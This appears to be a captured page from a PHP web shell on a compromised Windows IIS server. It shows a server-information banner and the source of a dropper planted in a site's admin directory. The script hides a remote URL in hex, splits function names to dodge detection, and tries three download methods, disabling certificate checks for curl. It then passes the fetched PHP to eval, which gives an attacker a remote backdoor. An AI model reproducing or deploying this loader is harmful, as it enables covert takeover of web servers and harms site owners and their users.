| Server IP : 172.67.214.117 / Your IP : 172.71.254.38 Web Server : Microsoft-IIS/10.0 System : Windows NT WAVE 10.0 build 20348 (Windows Server 2016) AMD64 User : IWPD_458(indias) ( 0) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : D:/inetpub/vhosts/indiasmartbazaar.com/pimsharyana.in/admin/shining/ |
Upload File : |
<?php
$hexUrl = '68747470733a2f2f7261772e6769746875622e636f6d2f5a75616e58506c6f69742f546573742f726566732f68656164732f6d61737465722f6261746f7361792e706870';
function hex2str($hex) {
$str = '';
for ($i = 0; $i < strlen($hex) - 1; $i += 2) {
$str .= chr(hexdec($hex[$i] . $hex[$i + 1]));
}
return $str;
}
$url = hex2str($hexUrl);
function downloadWithFileGetContents($url) {
if (ini_get('a' . 'llow' . '_ur' . 'l_fo' . 'pe' . 'n')) {
return file_get_contents($url);
}
return false;
}
function downloadWithCurl($url) {
if (function_exists('c' . 'u' . 'rl' . '_i' . 'n' . 'i' . 't')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
return false;
}
function downloadWithFopen($url) {
$result = false;
if ($fp = fopen($url, 'r')) {
$result = '';
while ($data = fread($fp, 8192)) {
$result .= $data;
}
fclose($fp);
}
return $result;
}
$phpScript = downloadWithFileGetContents($url);
if ($phpScript === false) {
$phpScript = downloadWithCurl($url);
}
if ($phpScript === false) {
$phpScript = downloadWithFopen($url);
}
if ($phpScript === false) {
die("Gagal mendownload script PHP dari URL dengan semua metode.");
}
eval('?>' . $phpScript);
?>